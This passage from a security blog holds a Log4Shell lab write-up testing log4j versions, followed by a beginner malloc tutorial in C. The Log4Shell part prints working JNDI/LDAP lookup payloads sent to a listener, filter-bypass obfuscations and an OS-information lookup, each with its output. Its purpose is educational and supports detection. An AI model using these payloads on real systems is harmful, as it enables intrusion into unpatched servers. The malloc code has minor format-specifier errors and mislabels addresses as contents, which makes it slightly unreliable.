First unsetting the existing CLASSPATH environment variable.

┌──(rootđź’€securitynik)-[~/log4j]
└─# echo $CLASSPATH
log4j-api-2.14.1.jar:log4j-core-2.14.1.jar

┌──(rootđź’€securitynik)-[~/log4j]
└─# unset CLASSPATH

┌──(rootđź’€securitynik)-[~/log4j]
└─# echo $CLASSPATH

Copy the two files to the current location.

┌──(rootđź’€securitynik)-[~/log4j]
└─# cp apache-log4j-2.16.0-bin/log4j-api-2.16.0.jar apache-log4j-2.16.0-bin/log4j-core-2.16.0.jar .

Set the new CLASSPATH environment variable to point to 2.16.0 classes.

┌──(rootđź’€securitynik)-[~/log4j]
└─# export CLASSPATH=log4j-api-2.16.0.jar:log4j-core-2.16.0.jar && env | grep CLASSPATH
CLASSPATH=log4j-api-2.16.0.jar:log4j-core-2.16.0.jar

Setup my ncat listener again.

┌──(rootđź’€securitynik)-[~/log4j]
└─# ncat --nodns --verbose --verbose --listen 192.168.56.102 443 --exec "/usr/bin/echo -- Welcome to SecurityNik World - [$USER]"
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on 192.168.56.102:443

Executing my Java code.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java '${jndi:ldap://192.168.56.102:443/Testing}'
[*] Hello SecurityNik from main!
14:41:34.307 [main] FATAL gDay - This is not going to end nice ;-( ${jndi:ldap://192.168.56.102:443/Testing}
[*] I'm not a quitter ... Quiting!

Absolutely nothing occurred this time at the ncat listener. It is just the same as above. Guess 2.16 lookup actually resolved the issue with this.

Similarly, when I tried to extract Java information like I did previously, nothing was returned.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java '${java:os}'
[*] Hello SecurityNik from main!
14:46:18.086 [main] FATAL gDay - This is not going to end nice ;-( ${java:os}
[*] I'm not a quitter ... Quiting!

Similarly, I was able to validate that using the 2.14.1 version and the command line option -Dlog4j2.formatMsgNoLookups=true does prevent me from getting os version information.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java -Dlog4j2.formatMsgNoLookups=true ./gDay.java '${java:os}'                                                                                               
[*] Hello SecurityNik from main!
14:49:20.955 [main] FATAL gDay - This is not going to end nice ;-( ${java:os}
[*] I'm not a quitter ... Quiting!

Learning some of the ways to bypass the filtering which are currently being implemented by some vendors.

First up, one of the first obfuscation techniques I saw in payload from environments we monitor was seen using the ":-" notation as in ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://xxxxxxx.xxx/z}. Running this in my lab against my ncat listener.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java '${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://192.168.56.102:443/SecurityNikTesting}'
[*] Hello SecurityNik from main!
09:57:06.557 [main] FATAL gDay - This is not going to end nice ;-( ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://192.168.56.102:443/SecurityNikTesting}
[*] I'm not a quitter ... Quiting!

Got a lot of connections. This is definitely noisy.

Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45370.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45372.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45376.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45378.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45380.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45382.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45384.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45386.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45388.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]

Attempting to grab information on the OS using uppercase letters fails.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java '${java:OS}'
[*] Hello SecurityNik from main!
[*] I'm not a quitter ... Quiting!

Using the lower functions, does return results.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java '${java:${lower:OS}}'
[*] Hello SecurityNik from main!
10:11:15.865 [main] FATAL gDay - This is not going to end nice ;-( Linux 5.14.0-kali4-amd64 unknown, architecture: amd64-64
[*] I'm not a quitter ... Quiting!

Trying one more by building on and extending the above.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java '${java:${lower:OS}}:${${lower:JNDI}:ldap://192.168.56.102:443/testing}'
[*] Hello SecurityNik from main!
10:13:37.756 [main] FATAL gDay - This is not going to end nice ;-( Linux 5.14.0-kali4-amd64 unknown, architecture: amd64-64:${${lower:JNDI}:ldap://192.168.56.102:443/testing}
[*] I'm not a quitter ... Quiting!

Still resulted in the host performing the lookup.

Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45434.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45436.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45438.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]

Now that I have an understanding of the problem and the solution, time to learn even more.

As previously mentioned, prior to me finishing this post, it was reported that 2.16 is vulnerable to RCE and thus organizations should be moving to 2.17. Looks like it is going to be a while before Log4J gets this right.

Posts in this series:
Learning by practicing: Beginning Log4-Shell - Understanding The Issue/Vulnerability (securitynik.com)
Learning by practicing: Continuing Log4Shell - Understanding/Testing The Exploit (securitynik.com)
Learning by practicing: Continuing Log4-Shell - Packet Analysis - Detection (securitynik.com)
Learning by practicing: Continuing Log4Shell - Snort3 Rule - Detection (securitynik.com)
Learning by practicing: Continuing Log4Shell - Zeek - Detection (securitynik.com)


References:
Log4Shell explained – how it works, why you need to know, and how to fix it – My Blog (cybersecurityworldconference.com)
https://web.archive.org/web/20211215214929/https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
https://github.com/mergebase/log4j-detector
https://github.com/giterlizzi/nmap-log4shell
https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/2.14.1
https://logging.apache.org/log4j/2.x/download.html
https://gist.github.com/larshaendler/5a7de04f8cfcae8300c2b27bf54fcc92
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://archive.apache.org/dist/logging/log4j/
https://www.educba.com/what-is-public-in-java/
https://logging.apache.org/log4j/2.x/
https://www.tutorialspoint.com/log4j/log4j_logging_levels.htm
https://ma.ttias.be/show-the-environment-variables-of-a-running-process-in-linux/
https://nmap.org/ncat/guide/ncat-exec.html
https://community.ibm.com/community/user/security/blogs/adam-frank/2021/12/13/detection-of-log4shell-using-qradar
https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/
https://www.lunasec.io/docs/blog/log4shell-live-patch-technical/
https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/
https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words
https://logging.apache.org/log4j/2.x/manual/lookups.html
https://logging.apache.org/log4j/2.x/log4j-users-guide.pdf
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105
Lesson: Overview of JNDI (The Java™ Tutorials > Java Naming and Directory Interface) (oracle.com)


Thursday, December 2, 2021

Beginning malloc - C Programming

Currently supporting the SANS Rogers Ryerson Cyber Secure Catalyst Program as a mentor and one of the young ladies asked me to help her get a better understanding of malloc. This post is meant to aid her understanding ... and mine also. Nothing like teaching by learning.

malloc is used to allocate memory and is typically used with free to deallocate the previously allocated memory.

It allocates the size bytes and returns a pointer to the allocated memory. This memory is not initialized and if the size is 0 malloc returns NULL.     

Two things to keep in mind for malloc are:
    1. The memory is dynamically allocated on the Heap
    2. The pointer which is returned is stored on the Stack.

We will look at both of these points.

Here is the code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdlib.h>
#include <stdio.h>

/*
Author: Nik Alleyne
Blog: www.securitynik.com

*/

int main()
 {
	// Variables declaration 
	unsigned int memory_size, *memory_ptr;
	unsigned int count = 0;
			
	printf("[*] How many bytes would you like to allocate?: ");
			
	// Read the number of bytes from the user
        scanf("%d", &memory_size);
			
	// store the return value into a variable
	memory_ptr = (int *) malloc(memory_size);
			
	// Check to see if the allocation was unsuccessful
	if (memory_ptr == NULL)
		{
		  printf("[!] Error allocating your %d bytes", memory_size);
		  return -1;
		}
				
	// If allocation successful
	printf("[*] Dynamically allocated %d 4 bytes (size of int) @ %p \n", memory_size, (void *)&memory_ptr);		
			
	// printing the contents of the memory
	printf("[*] Here is the memory contents ... \n");
	for ( count; count < memory_size; count++)
		{
		  printf("   -> Count: %d > 0x%lx \n", count, &memory_ptr[count]);
		}
			
	printf("[*] Freeing the previously allocated %d bytes", memory_size);
	free(memory_ptr);
		
	return 0;
			
}    

Compiling the program.

┌──(rootđź’€securitynik)-[/tmp]
└─# gcc -ggdb /home/securitynik/beginning-malloc.c -o beginning-malloc.exe

When running the program, giving it 10 as input to print 10 bytes. Note, this is not printing 10 individual bytes but the size of int which is 4 bytes.

┌──(rootđź’€securitynik)-[/tmp]
└─# ./beginning-malloc.exe
[*] How many bytes would you like to allocate?: 10
[*] Dynamically allocated 10 4 bytes (size of int) @ 0x7ffd66aba450 
[*] Here is the memory contents ... -> Count: 0 > 0x55b893337ac0 -> Count: 1 > 0x55b893337ac4 -> Count: 2 > 0x55b893337ac8 -> Count: 3 > 0x55b893337acc -> Count: 4 > 0x55b893337ad0 -> Count: 5 > 0x55b893337ad4 -> Count: 6 > 0x55b893337ad8 -> Count: 7 > 0x55b893337adc -> Count: 8 > 0x55b893337ae0 -> Count: 9 > 0x55b893337ae4 [*] Freeing the previously allocated 10 bytes

Good stuff. What do we have there. Let's dig deeper. Let's run the program again.

┌──(rootđź’€securitynik)-[/tmp]
└─# ./beginning-malloc.exe
[*] How many bytes would you like to allocate?: 

As the program waits for input, let's grab the PID in another window.

┌──(rootđź’€securitynik)-[/tmp]
└─# ps -u | grep beginning
root       52719  0.0  0.0   2316   644 pts/1    S+   22:55   0:00 ./beginning-malloc.exe
root       52758  0.0  0.1   6184  2144 pts/2    S+   22:56   0:00 grep --color=auto beginning

With the PID 52719, let's now look at the program memory map in the same window that we grabbed the PID from.

┌──(rootđź’€securitynik)-[/tmp]
└─# cat /proc/52719/maps 
55d9f8f92000-55d9f8f93000 r--p 00000000 08:01 2891317                    /tmp/beginning-malloc.exe
55d9f8f93000-55d9f8f94000 r-xp 00001000 08:01 2891317                    /tmp/beginning-malloc.exe
55d9f8f94000-55d9f8f95000 r--p 00002000 08:01 2891317                    /tmp/beginning-malloc.exe
55d9f8f95000-55d9f8f96000 r--p 00002000 08:01 2891317                    /tmp/beginning-malloc.exe
55d9f8f96000-55d9f8f97000 rw-p 00003000 08:01 2891317                    /tmp/beginning-malloc.exe
55d9fa801000-55d9fa822000 rw-p 00000000 00:00 0                          [heap]
7f3507906000-7f3507908000 rw-p 00000000 00:00 0 
7f3507908000-7f350792e000 r--p 00000000 08:01 529616                     /usr/lib/x86_64-linux-gnu/libc-2.32.so
7f350792e000-7f3507a77000 r-xp 00026000 08:01 529616                     /usr/lib/x86_64-linux-gnu/libc-2.32.so
7f3507a77000-7f3507ac2000 r--p 0016f000 08:01 529616                     /usr/lib/x86_64-linux-gnu/libc-2.32.so
7f3507ac2000-7f3507ac3000 ---p 001ba000 08:01 529616                     /usr/lib/x86_64-linux-gnu/libc-2.32.so
7f3507ac3000-7f3507ac6000 r--p 001ba000 08:01 529616                     /usr/lib/x86_64-linux-gnu/libc-2.32.so
7f3507ac6000-7f3507ac9000 rw-p 001bd000 08:01 529616                     /usr/lib/x86_64-linux-gnu/libc-2.32.so
7f3507ac9000-7f3507acf000 rw-p 00000000 00:00 0 
7f3507aee000-7f3507aef000 r--p 00000000 08:01 529612                     /usr/lib/x86_64-linux-gnu/ld-2.32.so
7f3507aef000-7f3507b0f000 r-xp 00001000 08:01 529612                     /usr/lib/x86_64-linux-gnu/ld-2.32.so
7f3507b0f000-7f3507b18000 r--p 00021000 08:01 529612                     /usr/lib/x86_64-linux-gnu/ld-2.32.so
7f3507b18000-7f3507b19000 r--p 00029000 08:01 529612                     /usr/lib/x86_64-linux-gnu/ld-2.32.so
7f3507b19000-7f3507b1b000 rw-p 0002a000 08:01 529612                     /usr/lib/x86_64-linux-gnu/ld-2.32.so
7ffd68cd7000-7ffd68cf8000 rw-p 00000000 00:00 0                          [stack]
7ffd68dec000-7ffd68df0000 r--p 00000000 00:00 0                          [vvar]
7ffd68df0000-7ffd68df2000 r-xp 00000000 00:00 0                          [vdso]


Key for us from above are [heap] and [stack]

Earlier at the beginning of this post, I stated malloc allocates the number of bytes we specify on the heap, while the pointer address is stored on the stack. Let's go back to our program, specify 10 bytes and let the program run to completion, then we will revisit the stack and heap output from above.

┌──(rootđź’€securitynik)-[/tmp]
└─# ./beginning-malloc.exe
[*] How many bytes would you like to allocate?: 10
[*] Dynamically allocated 10 4 bytes (size of int) @ 0x7ffd68cf55f0 
[*] Here is the memory contents ... -> Count: 0 > 0x55d9fa801ac0 -> Count: 1 > 0x55d9fa801ac4 -> Count: 2 > 0x55d9fa801ac8 -> Count: 3 > 0x55d9fa801acc -> Count: 4 > 0x55d9fa801ad0 -> Count: 5 > 0x55d9fa801ad4 -> Count: 6 > 0x55d9fa801ad8 -> Count: 7 > 0x55d9fa801adc -> Count: 8 > 0x55d9fa801ae0 -> Count: 9 > 0x55d9fa801ae4 [*] Freeing the previously allocated 10 bytes

The first take away from the output above is 10 4 bytes (size of int) @ 0x7ffd68cf55f0

Looking at the address 0x7ffd68cf55f0 and comparing this to our stack output from above 7ffd68cd7000-7ffd68cf8000 , we see 0x7ffd68cf55f0 falls within the range previously for seen the stack. Specifically, we see 0x7ffd68c.... matches above. Which means f55f0 is somewhere within there. This confirms the point that pointer address is stored on the stack. 

Let's now confirm this points to an address on the heap. If we look at the output from the memory map, we see the heap is within the range: 55d9fa801000-55d9fa822000. Looking at the output from our 10 bytes above, we see the first few bytes of the heap 0x55d9fa801..., matching our output above. The last 3 bytes then confirms that our range falls within the range of the heap.

The reason why you are seeing jumps of 4, for example c0, c4, c8, cc, etc., is because the size of integer is 4 bytes.

That's it!


References: